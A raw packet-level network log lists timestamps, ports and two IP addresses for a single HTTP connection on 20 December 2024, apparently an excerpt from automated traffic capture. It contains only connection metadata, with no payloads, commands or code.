Dec 20, 2024 11:12:22.391978979 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.393181086 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.393230915 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.393296003 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.393346071 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.394532919 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.394653082 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.394705057 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.395798922 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.395853043 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.395910978 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.397209883 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.397247076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.397298098 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.398391008 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.398504972 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.398555040 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.399717093 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.399766922 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.399816990 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.400904894 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.400954008 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.401032925 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.402187109 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.402235985 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.402282953 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.402332067 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.403455019 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.403893948 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.403945923 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.404691935 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.404860973 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.404910088 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.405949116 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.406059027 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.406107903 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.407242060 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.407301903 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.407305002 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.408452988 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.408502102 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.408576965 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.409739017 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.409790039 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.409843922 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.409887075 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.410979986 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.411087036 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.411139965 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.412261009 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.412424088 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.412477016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.413579941 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.413635969 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.413692951 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.414201975 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.414779902 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.414905071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.414954901 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.416023016 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.416142941 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.416197062 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.417335033 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.417392969 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.417421103 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.418517113 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.418566942 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.418648958 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.419815063 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.419868946 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.419879913 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.419941902 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.421040058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.421094894 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.421147108 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.422358036 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.422477007 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.422529936 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.423578978 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.423631907 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.423706055 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.424810886 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.424864054 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.424930096 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.426094055 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.426146030 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.426192999 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.426239967 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.427393913 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.427500963 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.427555084 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.428599119 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.428702116 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.428750992 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.429869890 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.429917097 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.429982901 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.430413008 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.431111097 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.431162119 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.431227922 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.431274891 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.432358027 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.432404041 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.432538986 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.432589054 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.433620930 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.433672905 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.433741093 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.433789015 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.434892893 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.435020924 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.435070038 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.436146975 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.436342955 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.436393023 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.437413931 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.437463045 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.437469006 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.437913895 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.438668966 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.438719988 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.438805103 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.438854933 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.439913034 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.439965963 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.440025091 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.440072060 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.441175938 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.441226959 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.441293001 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.441340923 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.442439079 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.442558050 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.442606926 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.443660975 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.443723917 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.443856955 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.444024086 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.444964886 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.445038080 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.445055962 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.445080042 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.446177959 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.446225882 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.446333885 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.446420908 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.447509050 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.447563887 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.447565079 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.447603941 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.448698997 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.448753119 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.448909044 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.448956013 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.449997902 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.450056076 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.575925112 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.576396942 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.576450109 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.576478004 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.576492071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.576529980 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.577569962 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.577619076 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.577625990 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.577904940 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.578437090 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.578486919 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.578562021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.578604937 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.579525948 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.579571009 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.579648018 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.579689980 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.580660105 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.580713034 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.580797911 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.581809998 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.581868887 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.581899881 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.582492113 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.582937002 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.582994938 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.583095074 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.583827972 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.584083080 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.584129095 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.584182978 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.584234953 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.585207939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.585326910 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.585381985 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.586366892 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.586427927 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.586489916 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.587479115 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.587532997 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.587615013 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.588606119 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.588686943 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.588727951 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.589754105 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.589807034 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.589854002 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.589896917 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.590893030 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.591001987 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.591054916 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.592005014 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.592127085 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.592175007 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.593144894 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.593190908 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.593272924 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.594301939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.594353914 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.594384909 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.595432997 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.595482111 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.595549107 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.595592976 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.596586943 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.597017050 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.597073078 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.597672939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.597795010 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.597846985 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.598834038 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.598948002 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.598995924 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.599981070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.600135088 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.600192070 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.601119041 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.601193905 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.601267099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.601955891 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.602266073 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.602303028 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.602314949 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.602341890 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.603393078 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.603430033 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.603449106 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.603472948 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.604511023 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.604553938 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.604566097 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.604604959 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.605614901 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.605658054 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.605730057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.605771065 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.606764078 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.606837034 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.606882095 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.607902050 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.608026028 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.608072996 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.609074116 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.609119892 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.609184027 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.609766006 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.610163927 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.610210896 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.610290051 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.610327959 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.611371994 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.611432076 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.611464977 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.611603975 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.612454891 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.612498045 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.612562895 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.612608910 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.613612890 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.613667965 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.613667965 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.613734961 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.614772081 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.614835978 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.614881039 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.615107059 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.615849972 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.615895987 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.615962029 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.616058111 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.617058039 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.617111921 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.617353916 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.618124008 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.618246078 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.618294954 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.619257927 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.619304895 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.619380951 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.619426012 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.620438099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.620546103 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.620564938 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.620598078 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.621521950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.621588945 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.621726036 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.621773958 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.622735977 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.622831106 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.622879982 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.623816013 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.623922110 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.623955011 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.623994112 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.624937057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.624985933 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.625063896 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.625111103 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.626091003 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.626151085 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.626265049 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.626307011 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.627279043 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.627326965 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.627357006 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.627425909 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.628348112 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.628393888 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.628537893 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.628599882 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.629472971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.629525900 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.629605055 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.629646063 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.630614996 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.630656958 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.630734921 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.630791903 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.631757975 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.631802082 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.631870985 CET	80	49793	185.215.113.16	192.168.2.4
